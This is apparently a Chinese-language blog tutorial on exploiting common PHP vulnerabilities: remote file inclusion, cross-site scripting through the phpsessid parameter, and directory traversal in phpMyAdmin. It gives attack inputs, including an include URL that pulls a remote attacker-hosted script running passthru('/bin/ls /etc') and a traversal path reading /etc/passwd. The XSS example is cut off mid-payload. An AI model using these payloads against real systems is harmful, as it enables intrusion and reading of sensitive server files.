我对目前常见的php漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,sql注入漏洞等几种.当然,至于cookie欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞.这个漏洞应该说是php独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以web进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看<<如何对php程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:paypal store front,
hotnews,mambo open source,phpdig,yabb se,phpbb,invisionboard,solmetra spaw editor,les visiteurs,phpgedview,x-cart等等一些.
接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的uri参数缺少充分过滤,提交包含恶意html代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在php transparent的php php 4.3.1以下版本中的index.php页面对phpsessid缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:
http://web/index.php?phpsessid=">在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了php transparent之外还有:php-nuke,phpbb,php classifieds,phpix,ultimate php board等等.
再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpmyadmin来做例子.在phpmyadmin中,export.php页面没有对用户提交的’what’参数进行充分过滤,远程攻击者提交包含多个’../’字符的数据,便可绕过web root限制,以web权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd
新闻热点
疑难解答